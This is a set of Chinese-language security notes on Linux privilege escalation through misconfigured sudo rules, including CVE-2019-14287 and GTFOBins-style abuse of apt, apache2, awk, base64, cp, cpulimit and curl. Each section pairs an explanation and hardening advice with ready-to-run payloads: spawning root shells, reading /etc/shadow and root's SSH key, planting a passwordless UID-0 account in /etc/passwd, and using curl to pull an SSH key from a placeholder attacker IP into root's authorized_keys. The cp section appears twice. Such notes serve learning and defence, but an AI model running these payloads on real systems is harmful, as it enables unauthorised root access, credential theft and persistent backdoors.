通过sudo可以快速确认提权方法、路径
sudo -l #命令用于列出当前用户在系统上被授权执行的命令。它显示了用户在 _/etc/sudoers_ 文件中配置的权限。
Sudo风暴
cve-2019-14287
一般情况下,大多数Linux发行版的Runas规范(/etc /sudoers)都如下图所示,其中定义的ALL关键字将允许admin或sudo组中的用户以目标系统中的任意用户身份来运行命令:
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
test ALL=(ALL, !root) /bin/bash
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
用sudo -l表示是这样的:
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/rvim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
(root) NOPASSWD: /usr/sbin/tcpdump
(root) NOPASSWD: /usr/bin/exiftool
(ALL, !root) NOPASSWD: /bin/bash
漏洞描述
当 /etc/sudoers 文件中配置了允许用户以除了 root 之外的任意用户身份执行命令时(即使用了 !root 关键字),攻击者可以通过指定一个特殊的用户 ID(-1 或 4294967295)来绕过这个限制,最终以 root 权限执行命令。
漏洞配置前置条件
正如上方配置代码的第 16 行所示:
(ALL, !root) NOPASSWD: /bin/bash
- 本意:允许用户以任何人的身份运行
/bin/bash,但是绝对不能以 root 身份运行。 - 缺陷:Sudo 在将用户 ID 转换为系统可识别的权限时存在逻辑缺陷。
漏洞利用 (Exploitation)
要利用此漏洞,只需要在执行 sudo 命令时,通过 -u# 参数指定用户 ID 为 -1 或其无符号整数等效值 4294967295。
sudo -u#-1 /bin/bash
或者
sudo -u#4294967295 /bin/bash
执行上述命令后,通过 id 命令验证,你会发现自己已经拿到了 root 权限 (uid=0(root))。
漏洞原理 (Root Cause)
- 当我们使用
sudo -u#-1时,sudo 会尝试以 UID 为-1的身份运行命令。 - 在 Linux 系统底层的 C 语言库中,用于更改用户身份的函数(如
setresuid等)会将-1视为一个特殊值,表示“不要更改当前的 User ID”。 - 因为 sudo 本身是一个具有 SUID 权限的程序(它启动时是 root 权限),当它错误地将
-1解释为不改变当前权限时,它实际上保持了其自身的uid=0(root 权限)。 - 同时,由于我们在命令行输入的是
-1而不是root或0,sudo 的策略解析器被欺骗了,它认为我们并没有违反!root的规则,从而放行了命令。
修复方案
将 Sudo 升级到 1.8.28 或更高版本。新版本修复了对用户 ID 字符串到数字的解析逻辑,不再允许通过这种方式绕过。
sudo apt/apt-get/aptitude
这并非程序代码的安全漏洞,而是属于 GTFOBins (Living Off The Land Binaries) 的一种典型利用。当系统管理员配置不当,允许普通用户通过 sudo 免密执行 apt、apt-get 或 aptitude 命令时,攻击者可以利用包管理器的内置配置覆盖功能,执行任意系统命令,从而获取 Root 权限。
漏洞利用 (Exploitation)
利用包管理器特有的 -o (Option) 参数,在执行正常的更新或安装动作之前,强行插入并执行一个 Shell。
Payload:
# 使用 apt 提权
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
# 使用 apt-get 提权 (常用于无交互环境)
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
执行后,系统会直接弹出一个具有 Root 权限的 Bash Shell。
漏洞原理 (Root Cause)
- 底层共享机制: 在 Debian/Ubuntu 体系中,
apt、apt-get和aptitude虽然前端表现不同,但底层都调用了相同的核心 C++ 库libapt-pkg。 - Hook 机制滥用: APT 系统设计了预执行 (
Pre-Invoke) 和后执行 (Post-Invoke) 的 Hook 机制,本意是方便管理员在安装软件前后自动执行备份或重启服务等脚本。 - 参数覆盖 (
-o):-o参数允许用户在命令行中临时覆盖默认的 APT 配置文件。 - 权限继承: 当我们使用
sudo运行命令时,程序以 Root 权限启动。此时我们将APT::Update::Pre-Invoke强行指向/bin/bash,libapt-pkg就会以当前的 Root 权限去执行这个 Hook,最终导致权限提升。
修复方案与防范
- 根本原则: 遵循最小权限原则(PoLP),绝不要在
/etc/sudoers中给予普通用户直接运行apt或apt-get的sudo权限。 - 替代方案: 如果确实需要让普通用户执行系统更新,应该编写一个严格受限的 Bash 脚本(脚本内写死
apt-get update && apt-get upgrade),并只允许用户sudo执行该特定脚本,而不是直接开放apt二进制文件的执行权限。
sudo apache2
漏洞描述
通过滥用具有 sudo 权限的 apache2 二进制文件,攻击者可以实现越权任意文件读取。在这个案例中,攻击者成功读取了本应只有 Root 才能查看的系统密码本 /etc/shadow,泄露了 Root 用户的密码 Hash,为后续的离线密码破解铺平了道路。
漏洞利用
利用 apache2 的 -f 参数(用于指定备用的配置文件),强制它以 Root 权限去加载目标敏感文件。
Payload:
sudo apache2 -f /etc/shadow
执行后,由于 /etc/shadow 的内容根本不符合 Apache 配置文件的语法规范,Apache 解析失败并报错退出。 但是关键点在于:Apache 在抛出语法错误(Syntax error)时,为了方便排错,会将被认为“有语法错误”的那行内容原样打印在终端上。这使得文件的第一行(通常正是 root 用户的密码 Hash)被成功泄露出来。
漏洞原理
- 权限继承: 通过
sudo执行,apache2进程是以 Root 权限启动运行的,因此它畅通无阻地读取了/etc/shadow。 - 报错机制被滥用: 程序的报错提示逻辑原本是为了方便管理员 Debug,却被攻击者巧妙地转化为了一种“带外数据提取”(Data Exfiltration)的通道。把“目标文件”当成“配置文件”喂给程序,利用报错信息把内容“吐”出来。
- 后续攻击: 拿到
$6$开头的 SHA-512 Hash 字符串后,攻击者就可以将其保存到本地,使用 John the Ripper 或 Hashcat 等工具进行离线暴力破解,从而获取真实的 root 密码。
修复方案与防范
- 遵循最小权限原则: 如果普通用户(如开发人员)只需要管理网站服务的启停,绝对不应该在
/etc/sudoers中赋予直接运行底层二进制文件sudo /usr/sbin/apache2的权限。 - 正确配置 Sudoers: 应该只允许执行特定的、受限的服务管理命令,例如:
user ALL=(root) NOPASSWD: /bin/systemctl restart apache2这样用户就只能重启服务,而无法利用程序本身的参数去执行恶意操作。
sudo ash/bash/zsh/sh等
漏洞描述
当系统管理员在配置 /etc/sudoers 时犯了极其低级的错误,直接将某个 Shell 程序(如 /bin/ash, /bin/bash, /bin/sh 等)的 sudo 执行权限授予了普通用户,攻击者就可以直接通过该程序生成一个具有 Root 权限的交互式命令行环境。这是 GTFOBins 中最直观的 Shell 逃逸/直接提权。
漏洞利用 (Exploitation)
无需任何复杂的参数或环境配置,直接带上 sudo 执行该 Shell 即可。
Payload:
sudo ash
同理,如果是其他 Shell,就是 sudo bash, sudo sh, sudo zsh 等
执行该命令后,你会发现终端的提示符通常会从 $ 变成 #,输入 id 命令可以确认已经获取到 uid=0(root) 权限。
漏洞原理 (Root Cause)
- 程序的本质:
ash是一个命令解释器,它的核心功能就是接收用户的输入,并在当前用户的权限上下文中执行这些命令。 - 权限继承:
sudo的机制就是以目标用户(默认为 Root)的身份拉起一个进程。当我们执行sudo ash时,实际上是在告诉系统:“请以 Root 身份为我启动一个全新的命令行窗口”。 - 合法但致命: 这完全不是漏洞,而是
sudo和ash在正常发挥它们各自的功能。这是一种典型的配置逻辑缺陷,攻击者只是顺水推舟,利用了这个合法拉起的 Root 环境。
修复方案与防范
- 绝对的红线: 永远不要在
/etc/sudoers中允许普通用户使用sudo去执行任何可以提供交互式 Shell 的二进制文件(包括但不限于/bin/bash,/bin/sh,/bin/ash,/bin/zsh,/bin/dash,甚至包括带有执行外部命令功能的文本编辑器如vim,nano)。 - 坚持最小权限原则 (PoLP): 如果普通用户确实需要特权,在
sudoers中必须精确到具体程序的绝对路径,甚至限制到具体的运行参数。例如,如果只允许重启 Nginx,应该配置为:user ALL=(root) NOPASSWD: /bin/systemctl restart nginx
sudo awk
awk 是一款强大的 Linux 文本分析和处理工具。然而,由于它内置了调用系统底层命令的函数,如果管理员在 /etc/sudoers 中不慎将 awk 的 sudo 执行权限授予了普通用户,攻击者就可以利用该内置函数,直接派生出一个具有 Root 权限的交互式 Shell。
漏洞利用 (Exploitation)
利用 awk 的 BEGIN 规则和内置的 system() 函数来执行提权 Payload。
Payload:
sudo awk 'BEGIN {system("/bin/bash")}'
(如果在某些精简系统中没有 bash,可以替换为 /bin/sh)
执行后,awk 会在处理任何文本输入之前,直接执行 system() 里的命令,为你弹出一个 Root 权限的终端提示符。
漏洞原理 (Root Cause)
BEGIN代码块: 在awk的语法中,BEGIN { ... }块内的代码会在读取和处理任何标准输入数据之前被优先执行。这意味着我们不需要给awk提供任何实际的文本文件,它就会执行我们的代码。system()函数特性:awk提供了一个名为system()的内置函数,它的作用是将括号内的字符串传递给系统的命令解释器(通常是/bin/sh)去执行。- 权限继承: 当我们使用
sudo启动awk时,awk进程是以 Root 权限运行的。当这个 Root 权限的awk调用system("/bin/bash")时,新创建的bash子进程完美继承了父进程的 Root 权限,从而完成了越权逃逸。
修复方案与防范
- 安全红线: 绝不在
/etc/sudoers中允许普通用户直接通过sudo执行像awk,sed,tar,find这样具有内部命令执行或参数调用功能的复杂工具。 - 脚本化封装: 如果业务上确实需要普通用户以 Root 权限运行一段特定的
awk文本处理逻辑,应当将这段完整的逻辑写死在一个外部 Shell 脚本中(例如/usr/local/bin/log_parser.sh),将该脚本的权限设置为仅 Root 可写,然后在sudoers中只允许用户sudo执行该特定的脚本文件。
sudo base64
漏洞描述
base64 是 Linux 中用于将二进制或文本数据进行 Base64 编码和解码的基础命令行工具。如果管理员不慎将其加入了 sudo 免密执行名单,攻击者就可以利用它以 Root 身份读取系统中的任意敏感文件(例如 /etc/shadow 或 /root/.ssh/id_rsa 等)。
漏洞利用 (Exploitation)
利用 base64 去读取受限文件并进行编码,然后通过管道符 | 交给当前普通用户权限的 base64 进行解码,从而在终端直接输出文件明文。
Payload:
# 读取并还原 /etc/shadow 文件内容
sudo base64 /etc/shadow | base64 --decode
执行后,原本对普通用户绝对不可读的系统密码 Hash 就会被完整打印在屏幕上,供后续离线破解使用。
漏洞原理 (Root Cause)
- 权限继承与文件读取: 当执行
sudo base64 /etc/shadow时,前半段命令以 Root 权限运行,它畅通无阻地打开并读取了/etc/shadow,然后将文件内容转换成了 Base64 字符串输出到标准输出(stdout)。 - 巧妙的还原: 管道符
|后面的base64 --decode是以当前普通用户的权限运行的。它接收了前半段发来的那串已经编码好的无害字符串,并将其解码还原成原本的明文格式。 - 绕过限制: 系统底层的权限控制只拦截了普通用户“读取
/etc/shadow”的动作,但并没有拦截普通用户“接收并解码一串 Base64 文本”的动作,从而实现了数据窃取(Data Exfiltration)。
修复方案与防范
- 坚持最小权限原则: 绝对不要在
/etc/sudoers中赋予任何用于读取、编辑、或转换文件内容的工具(如base64,cat,less,more,head,tail,strings等)直接执行的sudo权限。 - 业务分离: 如果业务场景真的需要普通用户对某个特定的 Root 权限文件进行 Base64 编码,应该编写一个功能被严格限制的 Shell 脚本,脚本中写死只能操作那个特定文件,然后只允许用户
sudo运行该脚本。
sudo cp
这是一个非常危险且破坏性极强的提权点。cp(copy)命令本身非常简单,但当它被赋予了 sudo 权限后,就变成了一把可以随意篡改系统底层的“万能钥匙”。
与之前 base64 只能“读”不同,cp 不仅能“读”,还能“写(覆盖)”。你可以直接将以下内容补充到你的笔记中:
漏洞描述
cp 是 Linux 系统中用于复制文件和目录的基础命令。如果管理员在 /etc/sudoers 中错误地允许普通用户免密执行 sudo cp,攻击者不仅可以将系统中任意高度敏感的文件(如 /etc/shadow, id_rsa)复制出来读取,更致命的是,它可以将恶意伪造的配置文件覆盖到系统关键路径,从而直接劫持系统权限。
漏洞利用 (Exploitation)
这里主要有两种利用思路:任意文件读取 和 任意文件覆盖(直接提权)。
利用方式一:任意文件读取 (Data Exfiltration) 将只有 Root 能看的文件,复制到普通用户有权限访问的目录(如 /tmp),并顺手改掉权限。
# 将密码本复制到 /tmp 目录
sudo cp /etc/shadow /tmp/shadow
# 此时 /tmp/shadow 的属主仍然是 root,我们需要赋予它可读权限
sudo chmod 777 /tmp/shadow # (前提是你也有 chmod 的 sudo 权限,如果没有,可以结合其他方式,或者看方式二)
(注意:更直接的读文件方法是利用 cp 的标准输出特性,见 GTFOBins 高级用法,但覆盖法更通用)
利用方式二:恶意文件覆盖 (Malicious Overwrite) - 最常用且致命 核心思路是伪造一个 /etc/passwd 文件,在其中强行塞入一个拥有 Root 权限(UID=0)的新用户,然后覆盖掉系统的原文件。
# 1. 先把系统正常的 passwd 文件拷贝一份到临时目录作为基础
cp /etc/passwd /tmp/passwd
# 2. 在临时文件中追加一个无密码(或已知密码)的 root 权限用户
# 这里以追加一个名为 hacker,无密码,UID 和 GID 均为 0 的用户为例
echo "hacker::0:0:root:/root:/bin/bash" >> /tmp/passwd
# 3. 致命一击:使用 sudo cp 将带有后门的临时文件,覆盖掉系统的真实文件
sudo cp /tmp/passwd /etc/passwd
# 4. 此时系统已经认领了新用户,直接切换即可拿到 Root 权限
su hacker
漏洞原理 (Root Cause)
- 无视系统安全边界(DAC 绕过): Linux 依赖于文件权限控制(读、写、执行)来保护系统。
/etc/passwd等关键文件默认只允许 Root 写入。但是,当你执行sudo cp时,cp进程获得了 Root 权限,它在进行复制和覆盖操作时,Linux 内核会对其一路绿灯,完全无视原本的权限拦截。 - 信任机制被滥用: 系统的身份验证机制(如
login或su)是绝对信任/etc/passwd和/etc/shadow文件的内容的。只要攻击者利用cp成功篡改了这些文件的内容,系统就会把攻击者写入的假账号当成真神仙供奉起来。
修复方案与防范
- 绝对的权限红线: 永远不要赋予任何能够进行文件复制、移动或重命名操作的命令(如
cp,mv,dd,rsync)以sudo权限。这些命令相当于给了用户直接修改系统 DNA 的能力。 - 业务场景替代方案: 如果业务场景(比如某个自动化运维系统的低权限账号)确实需要把文件从 A 复制到受保护的 B 目录,必须写一个 Bash 脚本,在脚本中将源路径和目标路径全部写死,然后只允许通过
sudo运行该脚本。- 错误做法:
user ALL=(root) NOPASSWD: /bin/cp - 正确做法: 编写
/usr/local/bin/sync_web_code.sh(内容为cp -r /home/user/code/* /var/www/html/),然后配置user ALL=(root) NOPASSWD: /usr/local/bin/sync_web_code.sh这是一个非常危险且破坏性极强的提权点。cp(copy)命令本身非常简单,但当它被赋予了sudo权限后,就变成了一把可以随意篡改系统底层的“万能钥匙”。
- 错误做法:
与之前 base64 只能“读”不同,cp 不仅能“读”,还能“写(覆盖)”。你可以直接将以下内容补充到你的笔记中:
sudo cpulimit
漏洞描述
cpulimit 是一个用于限制某个进程 CPU 占用率的系统工具。为了方便使用,它不仅可以通过 PID 限制运行中的进程,还支持直接在命令行中拉起一个新程序并对其进行限制。如果系统管理员在 /etc/sudoers 中将其配置为 sudo 免密执行,攻击者就可以利用它的“启动新程序”功能,直接拉起一个拥有 Root 权限的交互式 Shell。
漏洞利用 (Exploitation)
利用 cpulimit 的命令行参数,指定启动 /bin/sh,并设置一个任意的 CPU 限制值(例如 100%)。
Payload:
sudo cpulimit -l 100 -f -- /bin/sh
参数解释:
-l 100:限制目标进程最高使用 100% 的 CPU(这里只是个幌子,填多少无所谓)。-f:让程序在前台运行(Foreground),这对于获取交互式 Shell 至关重要。--:这是一个标准的分隔符,告诉cpulimit后面的内容不是你自己的参数了,而是我要你执行的命令。
执行后,你将直接获得一个 Root 权限的终端提示符。
漏洞原理 (Root Cause)
- 附带的执行功能:
cpulimit在设计时包含了一个功能:作为父进程拉起一个子进程,并在外部监控和限制这个子进程的资源。 - 权限的自然继承: 当我们使用
sudo cpulimit时,cpulimit这个父进程是以uid=0 (root)启动的。根据 Linux 的进程模型,当它执行--后面的/bin/sh时,派生出的子进程完美继承了父进程的 Root 权限。 - 安全边界突破: 管理员的本意可能是允许普通用户去限制某些失控脚本的 CPU 占用,但由于
cpulimit具备执行任意二进制文件的能力,这个工具本身就成了一个“提权代理器”。
修复方案与防范
-
移除高危权限: 绝不要在
/etc/sudoers中允许普通用户免密运行cpulimit。 -
拥抱云原生管理方式: 在现代 Linux 系统中,如果需要对资源进行严格管控,强烈建议使用 Cgroups 机制,或者直接在 Systemd 的 Service 配置文件中使用
CPUQuota=参数。这些是在内核或底层守护进程层面进行的限制,比依赖带有命令执行功能的上层命令行工具要安全得多。 -
脚本硬编码(不得已的方案): 如果业务确实极度依赖
cpulimit,必须将其封装在一个 Bash 脚本中,比如写死只能限制特定名称的进程(cpulimit -e nginx -l 50),然后仅允许用户sudo执行该脚本。
sudo curl
漏洞描述
curl 是一个利用 URL 语法在命令行下工作的文件传输工具。如果管理员在 /etc/sudoers 中错误地允许普通用户免密执行 sudo curl,攻击者就可以利用 curl 支持本地文件协议(file://)的特性读取高危敏感文件,或者利用其下载保存功能(-o 参数)覆盖系统关键文件,从而直接接管服务器。
漏洞利用 (Exploitation)
curl 的提权利用主要分为“读”和“写”两个方向。
利用方式一:任意文件读取 (Arbitrary File Read) 利用 curl 内置的 file:// 协议,直接读取本地硬盘上的受保护文件,效果类似于之前的 base64 或 apache2。
# 读取并输出 root 用户的密码 Hash
sudo curl file:///etc/shadow
# 读取 root 用户的 SSH 私钥(如果存在)
sudo curl file:///root/.ssh/id_rsa
利用方式二:恶意文件覆盖 (Malicious Overwrite) - 破坏性极强 这和 sudo cp 的思路类似,但不需要目标机器上有现成的恶意文件。攻击者可以在自己的攻击机(比如你的 Kali)上快速起一个 HTTP 服务,托管一个伪造的 /etc/passwd 文件或 SSH 公钥,然后让目标机器主动下载并覆盖系统原文件。
# 1. 攻击者在本地生成一对 SSH 密钥,并将公钥 (id_rsa.pub) 挂载到简易 HTTP 服务上 (如 python3 -m http.server 80)
# 2. 在目标机器上,利用 sudo curl 将公钥下载并强行写入 root 的免密登录授权文件
sudo curl http://<攻击者IP>/id_rsa.pub -o /root/.ssh/authorized_keys
# 3. 攻击者直接在自己机器上通过 SSH 免密登录目标机器的 root 账户
ssh root@<目标机器IP>
(同理,也可以像 cp 那样去覆盖 /etc/passwd 或 /etc/sudoers)
漏洞原理 (Root Cause)
- 协议泛用性滥用:
curl设计之初就是一个通用的传输工具,它不仅支持 HTTP/FTP 等网络协议,也原生地支持file://本地伪协议。当它把本地文件当作目标 URL 请求时,就变成了一个文件读取工具。 - 权限的降维打击: 使用
sudo执行时,curl进程拥有了uid=0的至高权限。此时,-o(output)参数指定写入到哪里,内核就会乖乖写入到哪里,彻底无视了文件系统原有的属主和读写权限限制(DAC 绕过)。
修复方案与防范
- 高危名单阻断: 将
curl,wget,nc,socat等具有网络传输和文件读写双重属性的工具,严格排除在普通用户的sudo免密列表之外。 - 脚本化与硬编码: 如果业务系统确实需要以高权限去某个内网接口拉取配置文件并保存,必须将其固化为一段 Bash 脚本(例如
/opt/scripts/fetch_config.sh)。在脚本中,将目标 URL 和本地保存路径绝对写死,禁止通过命令行传入任何参数。然后在/etc/sudoers中仅放行该脚本的执行权限。